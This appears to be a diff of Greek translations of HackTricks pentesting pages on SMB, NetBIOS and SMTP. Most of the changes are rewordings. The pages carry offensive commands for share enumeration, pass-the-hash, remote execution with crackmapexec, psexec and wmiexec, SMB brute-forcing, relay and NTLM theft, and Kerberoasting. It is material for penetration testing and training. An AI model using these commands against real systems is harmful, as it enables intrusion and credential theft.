``` ```
@ -217,7 +217,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password) smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
``` ```
ή αυτό το σενάριο (χρησιμοποιώντας μια κενή συνεδρία) ή για αυτό το σενάριο (χρησιμοποιώντας μια κενή συνεδρία)
```bash ```bash
#/bin/bash #/bin/bash
@ -239,7 +239,7 @@ done
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
``` ```
### **Καταμέτρηση κοινών πόρων από Windows / χωρίς εργαλεία τρίτων** ### **Καταμέτρηση μεριδίων από Windows / χωρίς εργαλεία τρίτων**
PowerShell PowerShell
```powershell ```powershell
@ -267,7 +267,7 @@ compmgmt.msc
``` ```
explorer.exe (γραφικό), εισάγετε `\\<ip>\` για να δείτε τις διαθέσιμες μη κρυφές κοινές χρήσεις. explorer.exe (γραφικό), εισάγετε `\\<ip>\` για να δείτε τις διαθέσιμες μη κρυφές κοινές χρήσεις.
### Τοποθέτηση ενός κοινόχρηστου φακέλου ### Σύνδεση σε έναν κοινόχρηστο φάκελο
```bash ```bash
mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
@ -310,11 +310,11 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash ```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
``` ```
Ιδιαίτερα ενδιαφέρον από τις κοινές είναι τα αρχεία που ονομάζονται **`Registry.xml`** καθώς **μπορεί να περιέχουν κωδικούς πρόσβασης** για χρήστες που έχουν ρυθμιστεί με **autologon** μέσω Πολιτικής Ομάδας. Ή τα αρχεία **`web.config`** καθώς περιέχουν διαπιστευτήρια. Ιδιαίτερα ενδιαφέρον από τις κοινές διανομές είναι τα αρχεία που ονομάζονται **`Registry.xml`** καθώς **μπορεί να περιέχουν κωδικούς πρόσβασης** για χρήστες που έχουν ρυθμιστεί με **autologon** μέσω Πολιτικής Ομάδας. Ή τα αρχεία **`web.config`** καθώς περιέχουν διαπιστευτήρια.
> [!NOTE] > [!NOTE]
> Το **SYSVOL share** είναι **αναγνώσιμο** από όλους τους αυθεντικοποιημένους χρήστες στο domain. Εκεί μπορείτε να **βρείτε** πολλές διαφορετικές παρτίδες, VBScript και PowerShell **scripts**.\ > Η **κοινή χρήση SYSVOL** είναι **αναγνώσιμη** από όλους τους αυθεντικοποιημένους χρήστες στο τομέα. Εκεί μπορείτε να **βρείτε** πολλές διαφορετικές παρτίδες, VBScript και PowerShell **σενάρια**.\
> Πρέπει να **ελέγξετε** τα **scripts** μέσα σε αυτό καθώς μπορεί να **βρείτε** ευαίσθητες πληροφορίες όπως **κωδικούς πρόσβασης**. > Πρέπει να **ελέγξετε** τα **σενάρια** μέσα σε αυτό καθώς μπορεί να **βρείτε** ευαίσθητες πληροφορίες όπως **κωδικούς πρόσβασης**.
## Ανάγνωση Μητρώου ## Ανάγνωση Μητρώου
@ -326,22 +326,22 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
``` ```
## Post Exploitation ## Post Exploitation
Η **προεπιλεγμένη ρύθμιση του** διακομιστή **Samba** βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να έχει κάποιες **επικίνδυνες ρυθμίσεις**: Η **προεπιλεγμένη ρύθμιση** ενός **Samba** server βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να έχει κάποιες **επικίνδυνες ρυθμίσεις**:
| **Ρύθμιση** | **Περιγραφή** | | **Ρύθμιση** | **Περιγραφή** |
| --------------------------- | ------------------------------------------------------------------- | | --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Επιτρέπεται η καταγραφή των διαθέσιμων κοινών πόρων στην τρέχουσα κοινή χρήση; | | `browseable = yes` | Επιτρέπεται η καταγραφή διαθέσιμων κοινών πόρων στην τρέχουσα κοινή χρήση; |
| `read only = no` | Απαγορεύεται η δημιουργία και η τροποποίηση αρχείων; | | `read only = no` | Απαγορεύεται η δημιουργία και η τροποποίηση αρχείων; |
| `writable = yes` | Επιτρέπεται στους χρήστες να δημιουργούν και να τροποποιούν αρχεία; | | `writable = yes` | Επιτρέπεται στους χρήστες να δημιουργούν και να τροποποιούν αρχεία; |
| `guest ok = yes` | Επιτρέπεται η σύνδεση στην υπηρεσία χωρίς τη χρήση κωδικού πρόσβασης; | | `guest ok = yes` | Επιτρέπεται η σύνδεση στην υπηρεσία χωρίς τη χρήση κωδικού πρόσβασης; |
| `enable privileges = yes` | Τηρούνται τα δικαιώματα που έχουν ανατεθεί σε συγκεκριμένο SID; | | `enable privileges = yes` | Τηρούνται τα δικαιώματα που έχουν ανατεθεί σε συγκεκριμένο SID; |
| `create mask = 0777` | Ποια δικαιώματα πρέπει να ανατίθενται στα νεοδημιουργηθέντα αρχεία; | | `create mask = 0777` | Ποια δικαιώματα πρέπει να ανατεθούν στα νεοδημιουργηθέντα αρχεία; |
| `directory mask = 0777` | Ποια δικαιώματα πρέπει να ανατίθενται στους νεοδημιουργηθέντες καταλόγους; | | `directory mask = 0777` | Ποια δικαιώματα πρέπει να ανατεθούν στους νεοδημιουργηθέντες καταλόγους; |
| `logon script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται κατά την είσοδο του χρήστη; | | `logon script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται κατά την είσοδο του χρήστη; |
| `magic script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται όταν κλείνει το σενάριο; | | `magic script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται όταν κλείνει το σενάριο; |
| `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του μαγικού σεναρίου; | | `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του μαγικού σεναρίου; |
Η εντολή `smbstatus` παρέχει πληροφορίες σχετικά με τον **διακομιστή** και για **ποιοι είναι συνδεδεμένοι**. Η εντολή `smbstatus` παρέχει πληροφορίες σχετικά με τον **server** και για **ποιος είναι συνδεδεμένος**.
## Authenticate using Kerberos ## Authenticate using Kerberos
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec** ### **crackmapexec**
crackmapexec μπορεί να εκτελέσει εντολές **καταχρώντας** οποιοδήποτε από **mmcexec, smbexec, atexec, wmiexec** με το **wmiexec** να είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο `--exec-method`: crackmapexec μπορεί να εκτελέσει εντολές **καταχρώντας** οποιαδήποτε από **mmcexec, smbexec, atexec, wmiexec** με το **wmiexec** να είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο `--exec-method`:
```bash ```bash
apt-get install crackmapexec apt-get install crackmapexec
@ -392,7 +392,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec ### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
Αθόρυβα εκτελέστε ένα command shell χωρίς να αγγίξετε τον δίσκο ή να εκτελέσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **θύρας 135.**\ Εκτελέστε κρυφά μια εντολή shell χωρίς να αγγίξετε τον δίσκο ή να εκτελέσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **θύρας 135.**\
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/ Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
@ -400,7 +400,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
``` ```
Χρησιμοποιώντας **παράμετρο** `-k` μπορείτε να αυθεντικοποιηθείτε μέσω **kerberos** αντί για **NTLM**. Χρησιμοποιώντας **παράμετρο** `-k` μπορείτε να αυθεντικοποιηθείτε μέσω **kerberos** αντί για **NTLM**
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address> ./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -421,14 +421,14 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
## **Bruteforce διαπιστευτήρια χρηστών** ## **Bruteforce διαπιστευτήρια χρηστών**
**Αυτό δεν συνιστάται, μπορεί να μπλοκάρετε έναν λογαριασμό αν υπερβείτε τις μέγιστες επιτρεπόμενες προσπάθειες** **Αυτό δεν συνιστάται, μπορεί να αποκλείσετε έναν λογαριασμό αν υπερβείτε τις μέγιστες επιτρεπόμενες προσπάθειες**
```bash ```bash
nmap --script smb-brute -p 445 <IP> nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
``` ```
## SMB relay attack ## SMB relay attack
Αυτή η επίθεση χρησιμοποιεί το Responder toolkit για να **καταγράψει τις συνεδρίες αυθεντικοποίησης SMB** σε ένα εσωτερικό δίκτυο και να τις **μεταφέρει** σε μια **στόχο μηχανή**. Εάν η αυθεντικοποίηση **είναι επιτυχής**, θα σας ρίξει αυτόματα σε ένα **σύστημα** **shell**.\ Αυτή η επίθεση χρησιμοποιεί το Responder toolkit για να **καταγράψει τις συνεδρίες αυθεντικοποίησης SMB** σε ένα εσωτερικό δίκτυο και να τις **μεταφέρει** σε μια **στόχο μηχανή**. Εάν η **συνεδρία αυθεντικοποίησης είναι επιτυχής**, θα σας ρίξει αυτόματα σε ένα **σύστημα** **shell**.\
[**Περισσότερες πληροφορίες σχετικά με αυτή την επίθεση εδώ.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) [**Περισσότερες πληροφορίες σχετικά με αυτή την επίθεση εδώ.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap ## SMB-Trap
@ -452,7 +452,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
## NTLM Theft ## NTLM Theft
Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα σύστημα στόχο (μέσω SMB, για παράδειγμα) μπορεί να προκαλέσει μια προσπάθεια αυθεντικοποίησης SMB, επιτρέποντας την παγίδευση του NetNTLMv2 hash με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει εκτός σύνδεσης ή να χρησιμοποιηθεί σε μια [SMB relay attack](pentesting-smb.md#smb-relay-attack). Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα σύστημα στόχο (μέσω SMB, για παράδειγμα) μπορεί να προκαλέσει μια προσπάθεια αυθεντικοποίησης SMB, επιτρέποντας την παγίδευση του hash NetNTLMv2 με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει εκτός σύνδεσης ή να χρησιμοποιηθεί σε μια [SMB relay attack](pentesting-smb.md#smb-relay-attack).
[Δείτε: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) [Δείτε: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2: Entry_2:
Name: Enum4Linux Name: Enum4Linux

View File

@ -4,7 +4,7 @@
## **Port 139** ## **Port 139**
Το _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, υπολογιστές και επιτραπέζιους υπολογιστές εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό του δικτύου και **να διευκολύνουν τη μετάδοση δεδομένων μέσω του δικτύου**. Η αναγνώριση και η τοποθεσία των εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορούν να είναι έως 16 χαρακτήρες σε μήκος και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μία εφαρμογή (που ενεργεί ως πελάτης) εκδίδει μια εντολή για να "καλέσει" μια άλλη εφαρμογή (που ενεργεί ως διακομιστής) χρησιμοποιώντας **TCP Port 139**. Το _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, υπολογιστές και επιτραπέζιους υπολογιστές εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό του δικτύου και **να διευκολύνουν τη μετάδοση δεδομένων μέσω του δικτύου**. Η αναγνώριση και η τοποθεσία των εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορεί να είναι έως 16 χαρακτήρες σε μήκος και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μία εφαρμογή (που ενεργεί ως πελάτης) εκδίδει μια εντολή για να "καλέσει" μια άλλη εφαρμογή (που ενεργεί ως διακομιστής) χρησιμοποιώντας **TCP Port 139**.
``` ```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
``` ```
@ -26,13 +26,13 @@
Η πρόσβαση στην κοινή χρήση IPC$ μπορεί να αποκτηθεί μέσω μιας ανώνυμης κενής συνεδρίας, επιτρέποντας την αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω ονομασμένων σωλήνων. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτό το σκοπό. Χρησιμοποιούμενο σωστά, επιτρέπει την απόκτηση: Η πρόσβαση στην κοινή χρήση IPC$ μπορεί να αποκτηθεί μέσω μιας ανώνυμης κενής συνεδρίας, επιτρέποντας την αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω ονομασμένων σωλήνων. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτό το σκοπό. Χρησιμοποιούμενο σωστά, επιτρέπει την απόκτηση:
- Πληροφοριών σχετικά με το λειτουργικό σύστημα - Πληροφοριών για το λειτουργικό σύστημα
- Λεπτομερειών σχετικά με το γονικό τομέα - Λεπτομερειών για το γονικό τομέα
- Συγκέντρωσης τοπικών χρηστών και ομάδων - Συγκέντρωσης τοπικών χρηστών και ομάδων
- Πληροφοριών σχετικά με διαθέσιμες κοινές χρήσεις SMB - Πληροφοριών για διαθέσιμες κοινές χρήσεις SMB
- Της αποτελεσματικής πολιτικής ασφάλειας του συστήματος - Της αποτελεσματικής πολιτικής ασφάλειας του συστήματος
Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας για να αξιολογήσουν τη θέση ασφάλειας των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του περιβάλλοντος SMB του στοχευμένου συστήματος, που είναι απαραίτητη για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες. Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας για να αξιολογήσουν τη θέση ασφάλειας των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του περιβάλλοντος SMB του στόχου, που είναι απαραίτητη για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες.
```bash ```bash
enum4linux -a target_ip enum4linux -a target_ip
``` ```
@ -40,7 +40,7 @@ enum4linux -a target_ip
## Τι είναι το NTLM ## Τι είναι το NTLM
Αν δεν ξέρετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς να το εκμεταλλευτείτε, θα βρείτε πολύ ενδιαφέρουσα αυτή τη σελίδα για το **NTLM** όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να το εκμεταλλευτείτε:** Αν δεν ξέρετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς να το εκμεταλλευτείτε, θα βρείτε πολύ ενδιαφέρουσα αυτή τη σελίδα σχετικά με το **NTLM** όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να το εκμεταλλευτείτε:**
{{#ref}} {{#ref}}
../../windows-hardening/ntlm/ ../../windows-hardening/ntlm/
@ -82,7 +82,7 @@ searchsploit microsoft smb
### **Πιθανές** Διαπιστώσεις ### **Πιθανές** Διαπιστώσεις
| **Όνομα χρήστη(ων)** | **Κοινές κωδικοί πρόσβασης** | | **Όνομα χρήστη(ων)** | **Κοινές κωδικοί πρόσβασης** |
| -------------------- | ----------------------------------------- | | --------------------- | ------------------------------------------ |
| _(κενό)_ | _(κενό)_ | | _(κενό)_ | _(κενό)_ |
| guest | _(κενό)_ | | guest | _(κενό)_ |
| Administrator, admin | _(κενό)_, password, administrator, admin | | Administrator, admin | _(κενό)_, password, administrator, admin |
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
``` ```
### **Χειροκίνητη καταμέτρηση κοινών πόρων Windows και σύνδεση σε αυτούς** ### **Χειροκίνητη καταμέτρηση κοινών πόρων Windows και σύνδεση σε αυτούς**
Είναι πιθανό να είστε περιορισμένοι στο να εμφανίσετε οποιουσδήποτε πόρους της μηχανής-οικοδεσπότη και όταν προσπαθείτε να τους καταγράψετε, φαίνεται ότι δεν υπάρχουν πόροι για σύνδεση. Έτσι, μπορεί να αξίζει να προσπαθήσετε να συνδεθείτε χειροκίνητα σε έναν πόρο. Για να καταμετρήσετε τους πόρους χειροκίνητα, μπορεί να θέλετε να αναζητήσετε απαντήσεις όπως NT_STATUS_ACCESS_DENIED και NT_STATUS_BAD_NETWORK_NAME, όταν χρησιμοποιείτε μια έγκυρη συνεδρία (π.χ. null session ή έγκυρα διαπιστευτήρια). Αυτές μπορεί να υποδεικνύουν αν ο πόρος υπάρχει και δεν έχετε πρόσβαση σε αυτόν ή αν ο πόρος δεν υπάρχει καθόλου. Είναι πιθανό να είστε περιορισμένοι στο να εμφανίσετε οποιουσδήποτε πόρους της μηχανής-οικοδεσπότη και όταν προσπαθείτε να τους καταγράψετε, φαίνεται ότι δεν υπάρχουν πόροι για σύνδεση. Έτσι, μπορεί να αξίζει να προσπαθήσετε να συνδεθείτε χειροκίνητα σε έναν πόρο. Για να καταμετρήσετε τους πόρους χειροκίνητα, μπορεί να θέλετε να αναζητήσετε απαντήσεις όπως NT_STATUS_ACCESS_DENIED και NT_STATUS_BAD_NETWORK_NAME, όταν χρησιμοποιείτε μια έγκυρη συνεδρία (π.χ. null session ή έγκυρα διαπιστευτήρια). Αυτά μπορεί να υποδεικνύουν αν ο πόρος υπάρχει και δεν έχετε πρόσβαση σε αυτόν ή αν ο πόρος δεν υπάρχει καθόλου.
Κοινά ονόματα πόρων για στόχους Windows είναι Κοινά ονόματα πόρων για στόχους Windows είναι
@ -267,7 +267,7 @@ compmgmt.msc
``` ```
explorer.exe (γραφικό), εισάγετε `\\<ip>\` για να δείτε τις διαθέσιμες μη κρυφές κοινές χρήσεις. explorer.exe (γραφικό), εισάγετε `\\<ip>\` για να δείτε τις διαθέσιμες μη κρυφές κοινές χρήσεις.
### Τοποθέτηση ενός κοινόχρηστου φακέλου ### Σύνδεση σε έναν κοινόχρηστο φάκελο
```bash ```bash
mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
@ -300,7 +300,7 @@ smbclient //<IP>/<share>
### Αναζήτηση Κοινών Φακέλων Τομέα ### Αναζήτηση Κοινών Φακέλων Τομέα
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)**** - [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
```bash ```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data Snaffler.exe -s -d domain.local -o snaffler.log -v data
``` ```
@ -326,7 +326,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
``` ```
## Post Exploitation ## Post Exploitation
Η **προεπιλεγμένη ρύθμιση του** διακομιστή **Samba** βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να έχει κάποιες **επικίνδυνες ρυθμίσεις**: Η **προεπιλεγμένη ρύθμιση** ενός **Samba** server βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να έχει κάποιες **επικίνδυνες ρυθμίσεις**:
| **Ρύθμιση** | **Περιγραφή** | | **Ρύθμιση** | **Περιγραφή** |
| --------------------------- | ------------------------------------------------------------------- | | --------------------------- | ------------------------------------------------------------------- |
@ -341,7 +341,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
| `magic script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται όταν κλείνει το σενάριο; | | `magic script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται όταν κλείνει το σενάριο; |
| `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του μαγικού σεναρίου; | | `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του μαγικού σεναρίου; |
Η εντολή `smbstatus` παρέχει πληροφορίες σχετικά με τον **διακομιστή** και για **ποιοι είναι συνδεδεμένοι**. Η εντολή `smbstatus` παρέχει πληροφορίες σχετικά με τον **server** και για **ποιος είναι συνδεδεμένος**.
## Authenticate using Kerberos ## Authenticate using Kerberos
@ -392,7 +392,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Αθόρυβα εκτελέστε ένα command shell χωρίς να αγγίξετε τον δίσκο ή να εκτελέσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **θύρας 135.**\ Αθόρυβα εκτελέστε μια εντολή shell χωρίς να αγγίξετε τον δίσκο ή να εκτελέσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **θύρας 135.**\
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/ Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
@ -409,7 +409,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
``` ```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md) ### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Εκτέλεση εντολών μέσω του Task Scheduler (χρησιμοποιώντας _\pipe\atsvc_ μέσω SMB).\ Εκτέλεση εντολών μέσω του Προγραμματιστή Εργασιών (χρησιμοποιώντας _\pipe\atsvc_ μέσω SMB).\
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/ Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
```bash ```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command" ./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
@ -428,7 +428,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
``` ```
## SMB relay attack ## SMB relay attack
Αυτή η επίθεση χρησιμοποιεί το Responder toolkit για να **καταγράψει τις συνεδρίες αυθεντικοποίησης SMB** σε ένα εσωτερικό δίκτυο και **τις αναμεταδίδει** σε μια **στόχο μηχανή**. Εάν η **συνεδρία αυθεντικοποίησης είναι επιτυχής**, θα σας ρίξει αυτόματα σε ένα **σύστημα** **shell**.\ Αυτή η επίθεση χρησιμοποιεί το Responder toolkit για να **καταγράψει τις συνεδρίες αυθεντικοποίησης SMB** σε ένα εσωτερικό δίκτυο και να τις **μεταφέρει** σε μια **στόχο μηχανή**. Εάν η **συνεδρία αυθεντικοποίησης είναι επιτυχής**, θα σας ρίξει αυτόματα σε ένα **σύστημα** **shell**.\
[**Περισσότερες πληροφορίες σχετικά με αυτή την επίθεση εδώ.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) [**Περισσότερες πληροφορίες σχετικά με αυτή την επίθεση εδώ.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap ## SMB-Trap
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2: Entry_2:
Name: Enum4Linux Name: Enum4Linux

View File

@ -17,7 +17,7 @@ PORT STATE SERVICE REASON VERSION
Αν έχετε την ευκαιρία να **κάνετε το θύμα να σας στείλει ένα email** (μέσω της φόρμας επικοινωνίας της ιστοσελίδας για παράδειγμα), κάντε το γιατί **μπορείτε να μάθετε για την εσωτερική τοπολογία** του θύματος βλέποντας τα headers του email. Αν έχετε την ευκαιρία να **κάνετε το θύμα να σας στείλει ένα email** (μέσω της φόρμας επικοινωνίας της ιστοσελίδας για παράδειγμα), κάντε το γιατί **μπορείτε να μάθετε για την εσωτερική τοπολογία** του θύματος βλέποντας τα headers του email.
Μπορείτε επίσης να λάβετε ένα email από έναν SMTP server προσπαθώντας να **στείλετε σε αυτόν τον server ένα email σε μια ανύπαρκτη διεύθυνση** (γιατί ο server θα στείλει στον επιτιθέμενο ένα NDN email). Αλλά, βεβαιωθείτε ότι στέλνετε το email από μια επιτρεπόμενη διεύθυνση (ελέγξτε την πολιτική SPF) και ότι μπορείτε να λάβετε NDN μηνύματα. Μπορείτε επίσης να λάβετε ένα email από έναν SMTP server προσπαθώντας να **στείλετε σε αυτόν τον server ένα email σε μια ανύπαρκτη διεύθυνση** (γιατί ο server θα στείλει στον επιτιθέμενο ένα NDN mail). Αλλά, βεβαιωθείτε ότι στέλνετε το email από μια επιτρεπόμενη διεύθυνση (ελέγξτε την πολιτική SPF) και ότι μπορείτε να λάβετε NDN μηνύματα.
Πρέπει επίσης να προσπαθήσετε να **στείλετε διαφορετικά περιεχόμενα γιατί μπορείτε να βρείτε πιο ενδιαφέρουσες πληροφορίες** στα headers όπως: `X-Virus-Scanned: by av.domain.com`\ Πρέπει επίσης να προσπαθήσετε να **στείλετε διαφορετικά περιεχόμενα γιατί μπορείτε να βρείτε πιο ενδιαφέρουσες πληροφορίες** στα headers όπως: `X-Virus-Scanned: by av.domain.com`\
Πρέπει να στείλετε το αρχείο δοκιμής EICAR.\ Πρέπει να στείλετε το αρχείο δοκιμής EICAR.\
@ -245,26 +245,26 @@ smtp-smuggling.md
| Μηχανισμός | Περιγραφή | | Μηχανισμός | Περιγραφή |
